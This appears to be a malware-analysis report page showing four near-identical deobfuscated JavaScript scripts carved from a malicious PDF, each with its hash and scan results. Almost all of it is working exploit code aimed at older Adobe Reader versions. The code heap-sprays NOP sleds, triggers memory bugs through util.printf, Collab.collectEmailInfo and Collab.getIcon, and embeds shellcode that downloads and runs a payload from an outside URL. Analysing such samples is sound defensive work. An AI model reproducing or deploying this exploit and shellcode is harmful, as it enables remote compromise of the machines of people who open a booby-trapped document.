var k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (m4u == 1){
p7j = 0x30303030;
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (m4u == 2){
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var h92l = 0x400000;
var a72f = k86l.length * 2;
var r68v = h92l - (a72f + 0x38);
var j84j = unescape("%u9090%u9090");
j84j = d19a(j84j, r68v);
var h64u = (p7j - 0x400000) / h92l;
for (var e78z = 0; e78z < h64u; e78z ++ ){
y57v[e78z] = j84j + k86l;
}
}
var g66v = "13249596979893949596979899394959697989";
g66v = g66v.replace(/[\+345678]/g, "")
function f18v(){
var o86m = app.viewerVersion.toString();
if (o86m > 8){
eval(unescape("v68p(1);
var k73f = g66v;
for (c23g = 0; c23g < 276; c23g ++ ){
k73f += "8";
}
util.printf("%45000f", k73f);"));
}
if (o86m < 8){
eval(unescape("v68p(0);
var y86h = unescape("%u0c0c%u0c0c");
while (y86h.length < 44952)y86h += y86h;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : y86h});"));
}
if (o86m < 9.1)
{
eval(unescape("if (app.doc.Collab.getIcon){
v68p(2);
var h31e = unescape("%09");
while (h31e.length < 0x4000)h31e += h31e;
h31e = "N." + h31e;
app.doc.Collab.getIcon(h31e);
}"));
}
}
f18v();
generic_stage_recovery_008.js deobfuscated-js generic stage recovery percent-decode -> percent-decode from combined JavaScript objects at offset 0x9 3867 bytes
SHA-256: cf82647af3c229f72a4bd01f3a752f2ed1836d5bc221c81eb8fe2820382241d8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var y57v = new Array();
function d19a(j84j, r68v){
 while (j84j.length * 2 < r68v){
j84j += j84j;
}
j84j = j84j.substring(0, r68v / 2);
return j84j;
}
function v68p(m4u){
var p7j = 0x0c0c0c0c;
var k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (m4u == 1){
p7j = 0x30303030;
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (m4u == 2){
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var h92l = 0x400000;
var a72f = k86l.length * 2;
var r68v = h92l - (a72f + 0x38);
var j84j = unescape("%u9090%u9090");
j84j = d19a(j84j, r68v);
var h64u = (p7j - 0x400000) / h92l;
for (var e78z = 0; e78z < h64u; e78z ++ ){
y57v[e78z] = j84j + k86l;
}
}
var g66v = "132495969" + "79893" + "9495969" + "79899394" + "959697989";
g66v = g66v.replace(/[\+345678]/g, "")
function f18v(){
var o86m = app.viewerVersion.toString();
if (o86m > 8){
eval(unescape("v68p(1);
var k73f = g66v;
for (c23g = 0; c23g < 276; c23g ++ ){
k73f += "8";
}
util.printf("E000f", k73f);"));
}
if (o86m < 8){
eval(unescape("v68p(0);
var y86h = unescape("%u0c0c%u0c0c");
while (y86h.length < 44952)y86h += y86h;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : y86h});"));
}
if (o86m < 9.1)
{
eval(unescape("if (app.doc.Collab.getIcon){
v68p(2);
var h31e = unescape("	");
while (h31e.length < 0x4000)h31e += h31e;
h31e = "N." + h31e;
app.doc.Collab.getIcon(h31e);
}"));
}
}
f18v();
generic_stage_recovery_009.js deobfuscated-js generic stage recovery split-literal-normalize -> percent-decode -> percent-decode from JavaScript object 13 at offset 0x328 3836 bytes
SHA-256: 21d326327e43a49858ff966632a0101eca6bc251b580f214ae017cc93b35b55d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var y57v = new Array();
function d19a(j84j, r68v){
 while (j84j.length * 2 < r68v){
j84j += j84j;
}
j84j = j84j.substring(0, r68v / 2);
return j84j;
}
function v68p(m4u){
var p7j = 0x0c0c0c0c;
var k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (m4u == 1){
p7j = 0x30303030;
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (m4u == 2){
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var h92l = 0x400000;
var a72f = k86l.length * 2;
var r68v = h92l - (a72f + 0x38);
var j84j = unescape("%u9090%u9090");
j84j = d19a(j84j, r68v);
var h64u = (p7j - 0x400000) / h92l;
for (var e78z = 0; e78z < h64u; e78z ++ ){
y57v[e78z] = j84j + k86l;
}
}
var g66v = "13249596979893949596979899394959697989";
g66v = g66v.replace(/[\+345678]/g, "")
function f18v(){
var o86m = app.viewerVersion.toString();
if (o86m > 8){
eval(unescape("v68p(1);
var k73f = g66v;
for (c23g = 0; c23g < 276; c23g ++ ){
k73f += "8";
}
util.printf("E000f", k73f);"));
}
if (o86m < 8){
eval(unescape("v68p(0);
var y86h = unescape("%u0c0c%u0c0c");
while (y86h.length < 44952)y86h += y86h;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : y86h});"));
}
if (o86m < 9.1)
{
eval(unescape("if (app.doc.Collab.getIcon){
v68p(2);
var h31e = unescape("	");
while (h31e.length < 0x4000)h31e += h31e;
h31e = "N." + h31e;
app.doc.Collab.getIcon(h31e);
}"));
}
}
f18v();
generic_stage_recovery_010.js deobfuscated-js generic stage recovery split-literal-normalize -> percent-decode -> percent-decode from combined JavaScript objects at offset 0x9 3847 bytes
SHA-256: 8ce1194948c0ef238aa86048f080ca5a55a7da50991e8aae61adc20d2cbfaa61
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var y57v = new Array();
function d19a(j84j, r68v){
 while (j84j.length * 2 < r68v){
j84j += j84j;
}
j84j = j84j.substring(0, r68v / 2);
return j84j;
}
function v68p(m4u){
var p7j = 0x0c0c0c0c;
var k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (m4u == 1){
p7j = 0x30303030;
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (m4u == 2){
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var h92l = 0x400000;
var a72f = k86l.length * 2;
var r68v = h92l - (a72f + 0x38);
var j84j = unescape("%u9090%u9090");
j84j = d19a(j84j, r68v);
var h64u = (p7j - 0x400000) / h92l;
for (var e78z = 0; e78z < h64u; e78z ++ ){
y57v[e78z] = j84j + k86l;
}
}
var g66v = "13249596979893949596979899394959697989";
g66v = g66v.replace(/[\+345678]/g, "")
function f18v(){
var o86m = app.viewerVersion.toString();
if (o86m > 8){
eval(unescape("v68p(1);
var k73f = g66v;
for (c23g = 0; c23g < 276; c23g ++ ){
k73f += "8";
}
util.printf("E000f", k73f);"));
}
if (o86m < 8){
eval(unescape("v68p(0);
var y86h = unescape("%u0c0c%u0c0c");
while (y86h.length < 44952)y86h += y86h;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : y86h});"));
}
if (o86m < 9.1)
{
eval(unescape("if (app.doc.Collab.getIcon){
v68p(2);
var h31e = unescape("	");
while (h31e.length < 0x4000)h31e += h31e;
h31e = "N." + h31e;
app.doc.Collab.getIcon(h31e);
}"));
}
}
f18v();

Open this report in the interactive analyzer, or submit your own file for analysis.